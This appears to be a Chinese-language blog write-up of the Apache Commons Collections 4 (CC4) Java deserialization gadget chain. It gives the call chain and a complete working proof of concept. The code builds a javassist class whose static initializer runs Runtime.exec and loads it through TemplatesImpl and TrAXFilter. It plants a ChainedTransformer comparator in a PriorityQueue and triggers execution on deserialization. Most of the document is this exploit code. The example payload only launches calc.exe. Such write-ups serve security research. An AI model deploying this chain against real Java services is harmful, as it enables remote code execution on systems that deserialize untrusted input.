Apache-Commons-Collections 4

版本

CommonsCollections 4.0，JDK暂无限制，需javassist依赖

利用链

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        // 创建 static 代码块，并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet，避免报错
        // 写入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        /**
         * TrAXFilter 构造函数能直接触发 所以不用利用 invoke 那个
         */
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

并没有什么新东西，具体逻辑便是通过设置PriorityQueue 的comparator属性为我们定义好的ChainedTransformer ，使ChainedTransformer 的transformer方法执行，结合TrAXFilter与InstantiateTransformer触发TemplatesImpl 恶意字节码的类生成并触发其构造方法达到命令执行的目的。

Apache-Commons-Collections 4

目录

版本

利用链